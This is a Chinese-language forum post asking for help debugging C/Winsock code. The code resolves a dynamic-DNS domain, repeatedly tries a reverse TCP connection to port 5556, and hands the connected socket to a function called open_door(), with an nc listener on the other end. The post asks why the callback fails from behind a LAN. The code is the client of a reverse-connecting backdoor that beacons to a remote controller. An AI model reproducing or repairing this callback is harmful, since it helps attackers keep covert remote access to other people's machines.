套接字地址问题
我用nc做服务端,自己创建个socket,用gethostbyname()函数获得一动态域名的地址,然后反向连接,
一点反应也没有.
#define MasterAddr "xxxxxxxxxxx.org" //连接地址
#define MasterPort 5556 //连接端口
struct sockaddr_in local;
int main() {
HOSTENT *host_entry;
WSADATA WSA;
if ((WSAStartup(MAKEWORD(2,2),&WSA)) != 0) {
printf("[e]Load WINSOCK Failed!\n");
return -1;
}
SOCKET sock_serv;
local.sin_family = AF_INET;
local.sin_port = htons(MasterPort);
host_entry = gethostbyname(MasterAddr);
/* printf("%s\n", MasterAddr);
if(host_entry!=0)
{
printf(" 解析IP地址: ");
printf("%d.%d.%d.%d",
(host_entry->h_addr_list[0][0]&0x00ff),
(host_entry->h_addr_list[0][1]&0x00ff),
(host_entry->h_addr_list[0][2]&0x00ff),
(host_entry->h_addr_list[0][3]&0x00ff));
}*/
memcpy( &local.sin_addr,host_entry->h_addr_list[0],host_entry->h_length );
sock_serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
while (1){
if (0 == connect(sock_serv, (struct sockaddr *)&local, sizeof(local)))
open_door(sock_serv);
else
Sleep(10000);
}
printf("success\n");
closesocket(sock_serv);
puts("Close Socket");
WSACleanup();
return 0;
}
用本机做实验,local.sin_addr = inet_addr("127.0.0.1"),则可以,用ip地址60.128.XX.xx 也没反应
.我的机器在一局域网,是不是这一问题导致无法工作,要改的话如何修改